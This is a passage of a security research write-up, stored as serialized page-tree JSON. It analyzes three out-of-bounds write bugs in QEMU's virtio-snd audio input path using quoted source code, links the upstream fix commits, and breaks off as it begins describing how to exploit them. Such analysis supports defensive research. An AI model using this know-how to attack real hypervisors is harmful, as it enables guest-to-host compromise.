rops":126386,"children":126387},{"class":160,"line":1713},[126388],{"type":24,"tag":158,"props":126389,"children":126390},{"style":188},[126391],{"type":29,"value":126392}," );\n",{"type":24,"tag":158,"props":126394,"children":126395},{"class":160,"line":1731},[126396,126401],{"type":24,"tag":158,"props":126397,"children":126398},{"style":1914},[126399],{"type":29,"value":126400}," for",{"type":24,"tag":158,"props":126402,"children":126403},{"style":188},[126404],{"type":29,"value":125204},{"type":24,"tag":158,"props":126406,"children":126407},{"class":160,"line":5485},[126408,126412,126416,126421,126425,126429,126433,126438],{"type":24,"tag":158,"props":126409,"children":126410},{"style":1914},[126411],{"type":29,"value":104798},{"type":24,"tag":158,"props":126413,"children":126414},{"style":188},[126415],{"type":29,"value":2262},{"type":24,"tag":158,"props":126417,"children":126418},{"style":177},[126419],{"type":29,"value":126420},"buffer",{"type":24,"tag":158,"props":126422,"children":126423},{"style":188},[126424],{"type":29,"value":14991},{"type":24,"tag":158,"props":126426,"children":126427},{"style":177},[126428],{"type":29,"value":125538},{"type":24,"tag":158,"props":126430,"children":126431},{"style":222},[126432],{"type":29,"value":9917},{"type":24,"tag":158,"props":126434,"children":126435},{"style":188},[126436],{"type":29,"value":126437}," max_size) {",{"type":24,"tag":158,"props":126439,"children":126440},{"style":2588},[126441],{"type":29,"value":126442}," // [2]\n",{"type":24,"tag":158,"props":126444,"children":126445},{"class":160,"line":5493},[126446,126451],{"type":24,"tag":158,"props":126447,"children":126448},{"style":496},[126449],{"type":29,"value":126450}," return_rx_buffer",{"type":24,"tag":158,"props":126452,"children":126453},{"style":188},[126454],{"type":29,"value":126455},"(stream, buffer);\n",{"type":24,"tag":158,"props":126457,"children":126458},{"class":160,"line":5553},[126459,126464],{"type":24,"tag":158,"props":126460,"children":126461},{"style":1914},[126462],{"type":29,"value":126463}," break",{"type":24,"tag":158,"props":126465,"children":126466},{"style":188},[126467],{"type":29,"value":473},{"type":24,"tag":158,"props":126469,"children":126470},{"class":160,"line":10636},[126471],{"type":24,"tag":158,"props":126472,"children":126473},{"style":188},[126474],{"type":29,"value":72347},{"type":24,"tag":158,"props":126476,"children":126477},{"class":160,"line":10652},[126478,126483,126487,126492,126496,126500,126504,126509,126513,126517],{"type":24,"tag":158,"props":126479,"children":126480},{"style":188},[126481],{"type":29,"value":126482}," size ",{"type":24,"tag":158,"props":126484,"children":126485},{"style":222},[126486],{"type":29,"value":1285},{"type":24,"tag":158,"props":126488,"children":126489},{"style":496},[126490],{"type":29,"value":126491}," AUD_read",{"type":24,"tag":158,"props":126493,"children":126494},{"style":188},[126495],{"type":29,"value":504},{"type":24,"tag":158,"props":126497,"children":126498},{"style":177},[126499],{"type":29,"value":37525},{"type":24,"tag":158,"props":126501,"children":126502},{"style":188},[126503],{"type":29,"value":14991},{"type":24,"tag":158,"props":126505,"children":126506},{"style":177},[126507],{"type":29,"value":126508},"voice",{"type":24,"tag":158,"props":126510,"children":126511},{"style":188},[126512],{"type":29,"value":347},{"type":24,"tag":158,"props":126514,"children":126515},{"style":177},[126516],{"type":29,"value":96776},{"type":24,"tag":158,"props":126518,"children":126519},{"style":188},[126520],{"type":29,"value":235},{"type":24,"tag":158,"props":126522,"children":126523},{"class":160,"line":10696},[126524,126529,126533,126537,126541,126546,126550,126554],{"type":24,"tag":158,"props":126525,"children":126526},{"style":177},[126527],{"type":29,"value":126528}," buffer",{"type":24,"tag":158,"props":126530,"children":126531},{"style":188},[126532],{"type":29,"value":14991},{"type":24,"tag":158,"props":126534,"children":126535},{"style":177},[126536],{"type":29,"value":5361},{"type":24,"tag":158,"props":126538,"children":126539},{"style":222},[126540],{"type":29,"value":2308},{"type":24,"tag":158,"props":126542,"children":126543},{"style":177},[126544],{"type":29,"value":126545}," buffer",{"type":24,"tag":158,"props":126547,"children":126548},{"style":188},[126549],{"type":29,"value":14991},{"type":24,"tag":158,"props":126551,"children":126552},{"style":177},[126553],{"type":29,"value":125538},{"type":24,"tag":158,"props":126555,"children":126556},{"style":188},[126557],{"type":29,"value":235},{"type":24,"tag":158,"props":126559,"children":126560},{"class":160,"line":10801},[126561,126566,126571,126575,126579,126583,126587,126592,126596],{"type":24,"tag":158,"props":126562,"children":126563},{"style":496},[126564],{"type":29,"value":126565}," MIN",{"type":24,"tag":158,"props":126567,"children":126568},{"style":188},[126569],{"type":29,"value":126570},"(available, (",{"type":24,"tag":158,"props":126572,"children":126573},{"style":177},[126574],{"type":29,"value":37525},{"type":24,"tag":158,"props":126576,"children":126577},{"style":188},[126578],{"type":29,"value":14991},{"type":24,"tag":158,"props":126580,"children":126581},{"style":177},[126582],{"type":29,"value":99560},{"type":24,"tag":158,"props":126584,"children":126585},{"style":188},[126586],{"type":29,"value":347},{"type":24,"tag":158,"props":126588,"children":126589},{"style":177},[126590],{"type":29,"value":126591},"period_bytes",{"type":24,"tag":158,"props":126593,"children":126594},{"style":222},[126595],{"type":29,"value":52527},{"type":24,"tag":158,"props":126597,"children":126598},{"style":2588},[126599],{"type":29,"value":126600}," // [3]\n",{"type":24,"tag":158,"props":126602,"children":126603},{"class":160,"line":24754},[126604,126609,126613,126617],{"type":24,"tag":158,"props":126605,"children":126606},{"style":177},[126607],{"type":29,"value":126608}," buffer",{"type":24,"tag":158,"props":126610,"children":126611},{"style":188},[126612],{"type":29,"value":14991},{"type":24,"tag":158,"props":126614,"children":126615},{"style":177},[126616],{"type":29,"value":125538},{"type":24,"tag":158,"props":126618,"children":126619},{"style":188},[126620],{"type":29,"value":126621},")));\n",{"type":24,"tag":158,"props":126623,"children":126624},{"class":160,"line":24789},[126625,126629,126633,126637],{"type":24,"tag":158,"props":126626,"children":126627},{"style":1914},[126628],{"type":29,"value":104798},{"type":24,"tag":158,"props":126630,"children":126631},{"style":188},[126632],{"type":29,"value":2262},{"type":24,"tag":158,"props":126634,"children":126635},{"style":222},[126636],{"type":29,"value":21865},{"type":24,"tag":158,"props":126638,"children":126639},{"style":188},[126640],{"type":29,"value":126641},"size) {\n",{"type":24,"tag":158,"props":126643,"children":126644},{"class":160,"line":24797},[126645,126650,126654,126658],{"type":24,"tag":158,"props":126646,"children":126647},{"style":188},[126648],{"type":29,"value":126649}," available ",{"type":24,"tag":158,"props":126651,"children":126652},{"style":222},[126653],{"type":29,"value":1285},{"type":24,"tag":158,"props":126655,"children":126656},{"style":465},[126657],{"type":29,"value":2025},{"type":24,"tag":158,"props":126659,"children":126660},{"style":188},[126661],{"type":29,"value":473},{"type":24,"tag":158,"props":126663,"children":126664},{"class":160,"line":24805},[126665,126669],{"type":24,"tag":158,"props":126666,"children":126667},{"style":1914},[126668],{"type":29,"value":126463},{"type":24,"tag":158,"props":126670,"children":126671},{"style":188},[126672],{"type":29,"value":473},{"type":24,"tag":158,"props":126674,"children":126675},{"class":160,"line":24814},[126676],{"type":24,"tag":158,"props":126677,"children":126678},{"style":188},[126679],{"type":29,"value":72347},{"type":24,"tag":158,"props":126681,"children":126682},{"class":160,"line":24856},[126683,126687,126691,126695,126699],{"type":24,"tag":158,"props":126684,"children":126685},{"style":177},[126686],{"type":29,"value":126340},{"type":24,"tag":158,"props":126688,"children":126689},{"style":188},[126690],{"type":29,"value":14991},{"type":24,"tag":158,"props":126692,"children":126693},{"style":177},[126694],{"type":29,"value":125538},{"type":24,"tag":158,"props":126696,"children":126697},{"style":222},[126698],{"type":29,"value":16299},{"type":24,"tag":158,"props":126700,"children":126701},{"style":188},[126702],{"type":29,"value":125880},{"type":24,"tag":158,"props":126704,"children":126705},{"class":160,"line":24889},[126706,126711,126715],{"type":24,"tag":158,"props":126707,"children":126708},{"style":188},[126709],{"type":29,"value":126710}," available ",{"type":24,"tag":158,"props":126712,"children":126713},{"style":222},[126714],{"type":29,"value":105263},{"type":24,"tag":158,"props":126716,"children":126717},{"style":188},[126718],{"type":29,"value":125880},{"type":24,"tag":158,"props":126720,"children":126721},{"class":160,"line":24897},[126722],{"type":24,"tag":158,"props":126723,"children":126724},{"style":188},[126725],{"type":29,"value":126726}," [...]\n",{"type":24,"tag":158,"props":126728,"children":126729},{"class":160,"line":24905},[126730],{"type":24,"tag":158,"props":126731,"children":126732},{"style":188},[126733],{"type":29,"value":60158},{"type":24,"tag":158,"props":126735,"children":126736},{"class":160,"line":24914},[126737],{"type":24,"tag":158,"props":126738,"children":126739},{"style":188},[126740],{"type":29,"value":5010},{"type":24,"tag":158,"props":126742,"children":126743},{"class":160,"line":24990},[126744],{"type":24,"tag":158,"props":126745,"children":126746},{"style":188},[126747],{"type":29,"value":3967},{"type":24,"tag":158,"props":126749,"children":126750},{"class":160,"line":25023},[126751],{"type":24,"tag":158,"props":126752,"children":126753},{"style":188},[126754],{"type":29,"value":307},{"type":24,"tag":25,"props":126756,"children":126757},{},[126758,126759,126764,126765,126771,126773,126779,126781,126786,126787,126792,126794,126799],{"type":29,"value":125660},{"type":24,"tag":154,"props":126760,"children":126762},{"className":126761},[],[126763],{"type":29,"value":125666},{"type":29,"value":191},{"type":24,"tag":154,"props":126766,"children":126768},{"className":126767},[],[126769],{"type":29,"value":126770},"max_size",{"type":29,"value":126772}," is set to ",{"type":24,"tag":154,"props":126774,"children":126776},{"className":126775},[],[126777],{"type":29,"value":126778},"iov_size(in_sg, in_num)",{"type":29,"value":126780},". Both ",{"type":24,"tag":154,"props":126782,"children":126784},{"className":126783},[],[126785],{"type":29,"value":125391},{"type":29,"value":1826},{"type":24,"tag":154,"props":126788,"children":126790},{"className":126789},[],[126791],{"type":29,"value":125408},{"type":29,"value":126793}," are the same guest-controlled fields from ",{"type":24,"tag":154,"props":126795,"children":126797},{"className":126796},[],[126798],{"type":29,"value":125043},{"type":29,"value":347},{"type":24,"tag":25,"props":126801,"children":126802},{},[126803,126805,126810,126812,126818,126820,126826,126828,126834],{"type":29,"value":126804},"Later, at ",{"type":24,"tag":154,"props":126806,"children":126808},{"className":126807},[],[126809],{"type":29,"value":125701},{"type":29,"value":126811},", the code checks whether ",{"type":24,"tag":154,"props":126813,"children":126815},{"className":126814},[],[126816],{"type":29,"value":126817},"buffer->size >= max_size",{"type":29,"value":126819},". In the RX path, ",{"type":24,"tag":154,"props":126821,"children":126823},{"className":126822},[],[126824],{"type":29,"value":126825},"buffer->size",{"type":29,"value":126827}," tracks how many bytes have been written into ",{"type":24,"tag":154,"props":126829,"children":126831},{"className":126830},[],[126832],{"type":29,"value":126833},"buffer->data",{"type":29,"value":126835},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":24,"tag":25,"props":126837,"children":126838},{},[126839,126841,126846,126848,126854,126856,126861,126863,126869],{"type":29,"value":126840},"However, this does not match the allocation logic in ",{"type":24,"tag":154,"props":126842,"children":126844},{"className":126843},[],[126845],{"type":29,"value":125043},{"type":29,"value":126847},", which used: ",{"type":24,"tag":154,"props":126849,"children":126851},{"className":126850},[],[126852],{"type":29,"value":126853},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":29,"value":126855},". In other words, the allocation subtracts ",{"type":24,"tag":154,"props":126857,"children":126859},{"className":126858},[],[126860],{"type":29,"value":125767},{"type":29,"value":126862},", but the later bound in ",{"type":24,"tag":154,"props":126864,"children":126866},{"className":126865},[],[126867],{"type":29,"value":126868},"virtio_snd_pcm_in_cb",{"type":29,"value":126870}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":24,"tag":25,"props":126872,"children":126873},{},[126874,126876,126881,126883,126889,126891,126897,126899,126904,126906,126912,126914,126920,126922,126927,126929,126934],{"type":29,"value":126875},"Finally, at ",{"type":24,"tag":154,"props":126877,"children":126879},{"className":126878},[],[126880],{"type":29,"value":125725},{"type":29,"value":126882},", the code calls ",{"type":24,"tag":154,"props":126884,"children":126886},{"className":126885},[],[126887],{"type":29,"value":126888},"AUD_read",{"type":29,"value":126890}," with the following limit:\n",{"type":24,"tag":154,"props":126892,"children":126894},{"className":126893},[],[126895],{"type":29,"value":126896},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":29,"value":126898},". Notice how this bound does not take ",{"type":24,"tag":154,"props":126900,"children":126902},{"className":126901},[],[126903],{"type":29,"value":126770},{"type":29,"value":126905}," into account at all. That means if ",{"type":24,"tag":154,"props":126907,"children":126909},{"className":126908},[],[126910],{"type":29,"value":126911},"available",{"type":29,"value":126913}," is larger than the allocated buffer, and ",{"type":24,"tag":154,"props":126915,"children":126917},{"className":126916},[],[126918],{"type":29,"value":126919},"stream->params.period_bytes",{"type":29,"value":126921}," is also larger than the allocated buffer, ",{"type":24,"tag":154,"props":126923,"children":126925},{"className":126924},[],[126926],{"type":29,"value":126888},{"type":29,"value":126928}," will write past the end of ",{"type":24,"tag":154,"props":126930,"children":126932},{"className":126931},[],[126933],{"type":29,"value":126833},{"type":29,"value":126935}," - the third, and final, bug we found.",{"type":24,"tag":25,"props":126937,"children":126938},{},[126939,126941,126946,126948,126954],{"type":29,"value":126940},"Looking further at the code, we can see that ",{"type":24,"tag":154,"props":126942,"children":126944},{"className":126943},[],[126945],{"type":29,"value":126919},{"type":29,"value":126947}," is fully guest-controlled by issuing a ",{"type":24,"tag":154,"props":126949,"children":126951},{"className":126950},[],[126952],{"type":29,"value":126953},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":29,"value":126955}," request:",{"type":24,"tag":147,"props":126957,"children":126959},{"code":126958,"language":2907,"meta":7,"className":17751,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[126960],{"type":24,"tag":154,"props":126961,"children":126962},{"__ignoreMap":7},[126963,126971,127000,127017,127037,127044,127061,127068,127075,127082,127104,127111,127118,127125,127171,127214,127258,127266,127303,127339,127375,127382,127399],{"type":24,"tag":158,"props":126964,"children":126965},{"class":160,"line":161},[126966],{"type":24,"tag":158,"props":126967,"children":126968},{"style":165},[126969],{"type":29,"value":126970},"static\n",{"type":24,"tag":158,"props":126972,"children":126973},{"class":160,"line":213},[126974,126978,126983,126988,126992,126996],{"type":24,"tag":158,"props":126975,"children":126976},{"style":165},[126977],{"type":29,"value":59206},{"type":24,"tag":158,"props":126979,"children":126980},{"style":496},[126981],{"type":29,"value":126982}," virtio_snd_set_pcm_params",{"type":24,"tag":158,"props":126984,"children":126985},{"style":188},[126986],{"type":29,"value":126987},"(VirtIOSound ",{"type":24,"tag":158,"props":126989,"children":126990},{"style":222},[126991],{"type":29,"value":577},{"type":24,"tag":158,"props":126993,"children":126994},{"style":177},[126995],{"type":29,"value":1472},{"type":24,"tag":158,"props":126997,"children":126998},{"style":188},[126999],{"type":29,"value":235},{"type":24,"tag":158,"props":127001,"children":127002},{"class":160,"line":238},[127003,127008,127013],{"type":24,"tag":158,"props":127004,"children":127005},{"style":165},[127006],{"type":29,"value":127007}," uint32_t",{"type":24,"tag":158,"props":127009,"children":127010},{"style":177},[127011],{"type":29,"value":127012}," stream_id",{"type":24,"tag":158,"props":127014,"children":127015},{"style":188},[127016],{"type":29,"value":235},{"type":24,"tag":158,"props":127018,"children":127019},{"class":160,"line":259},[127020,127025,127029,127033],{"type":24,"tag":158,"props":127021,"children":127022},{"style":188},[127023],{"type":29,"value":127024}," virtio_snd_pcm_set_params ",{"type":24,"tag":158,"props":127026,"children":127027},{"style":222},[127028],{"type":29,"value":577},{"type":24,"tag":158,"props":127030,"children":127031},{"style":177},[127032],{"type":29,"value":99560},{"type":24,"tag":158,"props":127034,"children":127035},{"style":188},[127036],{"type":29,"value":2125},{"type":24,"tag":158,"props":127038,"children":127039},{"class":160,"line":280},[127040],{"type":24,"tag":158,"props":127041,"children":127042},{"style":188},[127043],{"type":29,"value":1710},{"type":24,"tag":158,"props":127045,"children":127046},{"class":160,"line":301},[127047,127052,127056],{"type":24,"tag":158,"props":127048,"children":127049},{"style":188},[127050],{"type":29,"value":127051}," virtio_snd_pcm_set_params ",{"type":24,"tag":158,"props":127053,"children":127054},{"style":222},[127055],{"type":29,"value":577},{"type":24,"tag":158,"props":127057,"children":127058},{"style":188},[127059],{"type":29,"value":127060},"st_params;\n",{"type":24,"tag":158,"props":127062,"children":127063},{"class":160,"line":626},[127064],{"type":24,"tag":158,"props":127065,"children":127066},{"emptyLinePlaceholder":16},[127067],{"type":29,"value":481},{"type":24,"tag":158,"props":127069,"children":127070},{"class":160,"line":668},[127071],{"type":24,"tag":158,"props":127072,"children":127073},{"style":188},[127074],{"type":29,"value":106079},{"type":24,"tag":158,"props":127076,"children":127077},{"class":160,"line":676},[127078],{"type":24,"tag":158,"props":127079,"children":127080},{"emptyLinePlaceholder":16},[127081],{"type":29,"value":481},{"type":24,"tag":158,"props":127083,"children":127084},{"class":160,"line":684},[127085,127090,127094,127099],{"type":24,"tag":158,"props":127086,"children":127087},{"style":188},[127088],{"type":29,"value":127089}," st_params ",{"type":24,"tag":158,"props":127091,"children":127092},{"style":222},[127093],{"type":29,"value":1285},{"type":24,"tag":158,"props":127095,"children":127096},{"style":496},[127097],{"type":29,"value":127098}," virtio_snd_pcm_get_params",{"type":24,"tag":158,"props":127100,"children":127101},{"style":188},[127102],{"type":29,"value":127103},"(s, stream_id);\n",{"type":24,"tag":158,"props":127105,"children":127106},{"class":160,"line":700},[127107],{"type":24,"tag":158,"props":127108,"children":127109},{"emptyLinePlaceholder":16},[127110],{"type":29,"value":481},{"type":24,"tag":158,"props":127112,"children":127113},{"class":160,"line":785},[127114],{"type":24,"tag":158,"props":127115,"children":127116},{"style":188},[127117],{"type":29,"value":106079},{"type":24,"tag":158,"props":127119,"children":127120},{"class":160,"line":1447},[127121],{"type":24,"tag":158,"props":127122,"children":127123},{"emptyLinePlaceholder":16},[127124],{"type":29,"value":481},{"type":24,"tag":158,"props":127126,"children":127127},{"class":160,"line":1509},[127128,127133,127137,127142,127146,127151,127155,127159,127163,127167],{"type":24,"tag":158,"props":127129,"children":127130},{"style":177},[127131],{"type":29,"value":127132}," st_params",{"type":24,"tag":158,"props":127134,"children":127135},{"style":188},[127136],{"type":29,"value":14991},{"type":24,"tag":158,"props":127138,"children":127139},{"style":177},[127140],{"type":29,"value":127141},"buffer_bytes",{"type":24,"tag":158,"props":127143,"children":127144},{"style":222},[127145],{"type":29,"value":462},{"type":24,"tag":158,"props":127147,"children":127148},{"style":496},[127149],{"type":29,"value":127150}," le32_to_cpu",{"type":24,"tag":158,"props":127152,"children":127153},{"style":188},[127154],{"type":29,"value":504},{"type":24,"tag":158,"props":127156,"children":127157},{"style":177},[127158],{"type":29,"value":99560},{"type":24,"tag":158,"props":127160,"children":127161},{"style":188},[127162],{"type":29,"value":14991},{"type":24,"tag":158,"props":127164,"children":127165},{"style":177},[127166],{"type":29,"value":127141},{"type":24,"tag":158,"props":127168,"children":127169},{"style":188},[127170],{"type":29,"value":1071},{"type":24,"tag":158,"props":127172,"children":127173},{"class":160,"line":1527},[127174,127178,127182,127186,127190,127194,127198,127202,127206,127210],{"type":24,"tag":158,"props":127175,"children":127176},{"style":177},[127177],{"type":29,"value":127132},{"type":24,"tag":158,"props":127179,"children":127180},{"style":188},[127181],{"type":29,"value":14991},{"type":24,"tag":158,"props":127183,"children":127184},{"style":177},[127185],{"type":29,"value":126591},{"type":24,"tag":158,"props":127187,"children":127188},{"style":222},[127189],{"type":29,"value":462},{"type":24,"tag":158,"props":127191,"children":127192},{"style":496},[127193],{"type":29,"value":127150},{"type":24,"tag":158,"props":127195,"children":127196},{"style":188},[127197],{"type":29,"value":504},{"type":24,"tag":158,"props":127199,"children":127200},{"style":177},[127201],{"type":29,"value":99560},{"type":24,"tag":158,"props":127203,"children":127204},{"style":188},[127205],{"type":29,"value":14991},{"type":24,"tag":158,"props":127207,"children":127208},{"style":177},[127209],{"type":29,"value":126591},{"type":24,"tag":158,"props":127211,"children":127212},{"style":188},[127213],{"type":29,"value":1071},{"type":24,"tag":158,"props":127215,"children":127216},{"class":160,"line":1545},[127217,127221,127225,127230,127234,127238,127242,127246,127250,127254],{"type":24,"tag":158,"props":127218,"children":127219},{"style":177},[127220],{"type":29,"value":127132},{"type":24,"tag":158,"props":127222,"children":127223},{"style":188},[127224],{"type":29,"value":14991},{"type":24,"tag":158,"props":127226,"children":127227},{"style":177},[127228],{"type":29,"value":127229},"features",{"type":24,"tag":158,"props":127231,"children":127232},{"style":222},[127233],{"type":29,"value":462},{"type":24,"tag":158,"props":127235,"children":127236},{"style":496},[127237],{"type":29,"value":127150},{"type":24,"tag":158,"props":127239,"children":127240},{"style":188},[127241],{"type":29,"value":504},{"type":24,"tag":158,"props":127243,"children":127244},{"style":177},[127245],{"type":29,"value":99560},{"type":24,"tag":158,"props":127247,"children":127248},{"style":188},[127249],{"type":29,"value":14991},{"type":24,"tag":158,"props":127251,"children":127252},{"style":177},[127253],{"type":29,"value":127229},{"type":24,"tag":158,"props":127255,"children":127256},{"style":188},[127257],{"type":29,"value":1071},{"type":24,"tag":158,"props":127259,"children":127260},{"class":160,"line":1618},[127261],{"type":24,"tag":158,"props":127262,"children":127263},{"style":2588},[127264],{"type":29,"value":127265}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":24,"tag":158,"props":127267,"children":127268},{"class":160,"line":1635},[127269,127273,127277,127282,127286,127291,127295,127299],{"type":24,"tag":158,"props":127270,"children":127271},{"style":177},[127272],{"type":29,"value":127132},{"type":24,"tag":158,"props":127274,"children":127275},{"style":188},[127276],{"type":29,"value":14991},{"type":24,"tag":158,"props":127278,"children":127279},{"style":177},[127280],{"type":29,"value":127281},"channels",{"type":24,"tag":158,"props":127283,"children":127284},{"style":222},[127285],{"type":29,"value":462},{"type":24,"tag":158,"props":127287,"children":127288},{"style":177},[127289],{"type":29,"value":127290}," params",{"type":24,"tag":158,"props":127292,"children":127293},{"style":188},[127294],{"type":29,"value":14991},{"type":24,"tag":158,"props":127296,"children":127297},{"style":177},[127298],{"type":29,"value":127281},{"type":24,"tag":158,"props":127300,"children":127301},{"style":188},[127302],{"type":29,"value":473},{"type":24,"tag":158,"props":127304,"children":127305},{"class":160,"line":1644},[127306,127310,127314,127319,127323,127327,127331,127335],{"type":24,"tag":158,"props":127307,"children":127308},{"style":177},[127309],{"type":29,"value":127132},{"type":24,"tag":158,"props":127311,"children":127312},{"style":188},[127313],{"type":29,"value":14991},{"type":24,"tag":158,"props":127315,"children":127316},{"style":177},[127317],{"type":29,"value":127318},"format",{"type":24,"tag":158,"props":127320,"children":127321},{"style":222},[127322],{"type":29,"value":462},{"type":24,"tag":158,"props":127324,"children":127325},{"style":177},[127326],{"type":29,"value":127290},{"type":24,"tag":158,"props":127328,"children":127329},{"style":188},[127330],{"type":29,"value":14991},{"type":24,"tag":158,"props":127332,"children":127333},{"style":177},[127334],{"type":29,"value":127318},{"type":24,"tag":158,"props":127336,"children":127337},{"style":188},[127338],{"type":29,"value":473},{"type":24,"tag":158,"props":127340,"children":127341},{"class":160,"line":1652},[127342,127346,127350,127355,127359,127363,127367,127371],{"type":24,"tag":158,"props":127343,"children":127344},{"style":177},[127345],{"type":29,"value":127132},{"type":24,"tag":158,"props":127347,"children":127348},{"style":188},[127349],{"type":29,"value":14991},{"type":24,"tag":158,"props":127351,"children":127352},{"style":177},[127353],{"type":29,"value":127354},"rate",{"type":24,"tag":158,"props":127356,"children":127357},{"style":222},[127358],{"type":29,"value":462},{"type":24,"tag":158,"props":127360,"children":127361},{"style":177},[127362],{"type":29,"value":127290},{"type":24,"tag":158,"props":127364,"children":127365},{"style":188},[127366],{"type":29,"value":14991},{"type":24,"tag":158,"props":127368,"children":127369},{"style":177},[127370],{"type":29,"value":127354},{"type":24,"tag":158,"props":127372,"children":127373},{"style":188},[127374],{"type":29,"value":473},{"type":24,"tag":158,"props":127376,"children":127377},{"class":160,"line":1704},[127378],{"type":24,"tag":158,"props":127379,"children":127380},{"emptyLinePlaceholder":16},[127381],{"type":29,"value":481},{"type":24,"tag":158,"props":127383,"children":127384},{"class":160,"line":1713},[127385,127389,127394],{"type":24,"tag":158,"props":127386,"children":127387},{"style":1914},[127388],{"type":29,"value":18227},{"type":24,"tag":158,"props":127390,"children":127391},{"style":496},[127392],{"type":29,"value":127393}," cpu_to_le32",{"type":24,"tag":158,"props":127395,"children":127396},{"style":188},[127397],{"type":29,"value":127398},"(VIRTIO_SND_S_OK);\n",{"type":24,"tag":158,"props":127400,"children":127401},{"class":160,"line":1731},[127402],{"type":24,"tag":158,"props":127403,"children":127404},{"style":188},[127405],{"type":29,"value":307},{"type":24,"tag":25,"props":127407,"children":127408},{},[127409,127411,127416,127418,127424,127426,127431,127433,127438,127440,127446,127447,127452],{"type":29,"value":127410},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":24,"tag":154,"props":127412,"children":127414},{"className":127413},[],[127415],{"type":29,"value":5082},{"type":29,"value":127417},") and signed (",{"type":24,"tag":154,"props":127419,"children":127421},{"className":127420},[],[127422],{"type":29,"value":127423},"s8",{"type":29,"value":127425},") samples. They encode the same waveform differently - silence is ",{"type":24,"tag":154,"props":127427,"children":127429},{"className":127428},[],[127430],{"type":29,"value":30699},{"type":29,"value":127432}," in ",{"type":24,"tag":154,"props":127434,"children":127436},{"className":127435},[],[127437],{"type":29,"value":5082},{"type":29,"value":127439},", but ",{"type":24,"tag":154,"props":127441,"children":127443},{"className":127442},[],[127444],{"type":29,"value":127445},"0x00",{"type":29,"value":127432},{"type":24,"tag":154,"props":127448,"children":127450},{"className":127449},[],[127451],{"type":29,"value":127423},{"type":29,"value":347},{"type":24,"tag":20034,"props":127454,"children":127455},{},[],{"type":24,"tag":25,"props":127457,"children":127458},{},[127459],{"type":29,"value":127460},"To summarize:",{"type":24,"tag":1786,"props":127462,"children":127463},{},[127464,127483,127501],{"type":24,"tag":1790,"props":127465,"children":127466},{},[127467,127469,127474,127476,127481],{"type":29,"value":127468},"an integer underflow in the ",{"type":24,"tag":154,"props":127470,"children":127472},{"className":127471},[],[127473],{"type":29,"value":125538},{"type":29,"value":127475}," calculation in ",{"type":24,"tag":154,"props":127477,"children":127479},{"className":127478},[],[127480],{"type":29,"value":125043},{"type":29,"value":127482},", resulting in an 8-byte (or less) under-allocation",{"type":24,"tag":1790,"props":127484,"children":127485},{},[127486,127488,127493,127494,127499],{"type":29,"value":127487},"a mismatch in the ",{"type":24,"tag":154,"props":127489,"children":127491},{"className":127490},[],[127492],{"type":29,"value":126770},{"type":29,"value":127475},{"type":24,"tag":154,"props":127495,"children":127497},{"className":127496},[],[127498],{"type":29,"value":126868},{"type":29,"value":127500},", leading to at most 8-byte OOB write",{"type":24,"tag":1790,"props":127502,"children":127503},{},[127504,127506,127511,127513,127518,127520,127525],{"type":29,"value":127505},"a missing bound in the ",{"type":24,"tag":154,"props":127507,"children":127509},{"className":127508},[],[127510],{"type":29,"value":125538},{"type":29,"value":127512}," passed to ",{"type":24,"tag":154,"props":127514,"children":127516},{"className":127515},[],[127517],{"type":29,"value":126888},{"type":29,"value":127519},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":24,"tag":154,"props":127521,"children":127523},{"className":127522},[],[127524],{"type":29,"value":126911},{"type":29,"value":83567},{"type":24,"tag":25,"props":127527,"children":127528},{},[127529,127531,127536,127538,127543,127545,127551],{"type":29,"value":127530},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":24,"tag":154,"props":127532,"children":127534},{"className":127533},[],[127535],{"type":29,"value":126911},{"type":29,"value":127537},", but in our setup with the ALSA backend, ",{"type":24,"tag":154,"props":127539,"children":127541},{"className":127540},[],[127542],{"type":29,"value":126911},{"type":29,"value":127544}," was consistently around ",{"type":24,"tag":154,"props":127546,"children":127548},{"className":127547},[],[127549],{"type":29,"value":127550},"4096",{"type":29,"value":347},{"type":24,"tag":25,"props":127553,"children":127554},{},[127555,127557,127564,127565,127572],{"type":29,"value":127556},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":24,"tag":101,"props":127558,"children":127561},{"href":127559,"rel":127560},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[105],[127562],{"type":29,"value":127563},"commit 1",{"type":29,"value":191},{"type":24,"tag":101,"props":127566,"children":127569},{"href":127567,"rel":127568},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[105],[127570],{"type":29,"value":127571},"commit 2",{"type":29,"value":127573},") in the very same week that we independently found them while manually reviewing the code.",{"type":24,"tag":59,"props":127575,"children":127576},{"id":101386},[127577],{"type":29,"value":101389},{"type":24,"tag":25,"props":127579,"children":127580},{},[127581],{"type":29,"value":127582},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":24,"tag":25,"props":127584,"children":127585},{},[127586],{"type":29,"value":127587},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":24,"tag":395,"props":127589,"children":127591},{"id":127590},"achieving-a-better-primitive",[127592],{"type":29,"value":127593},"Achieving a Better Primitive",{"type":24,"tag":25,"props":127595,"children":127596},{},[127597],{"type":29,"value":127598},"The first idea that comes to mind is to target 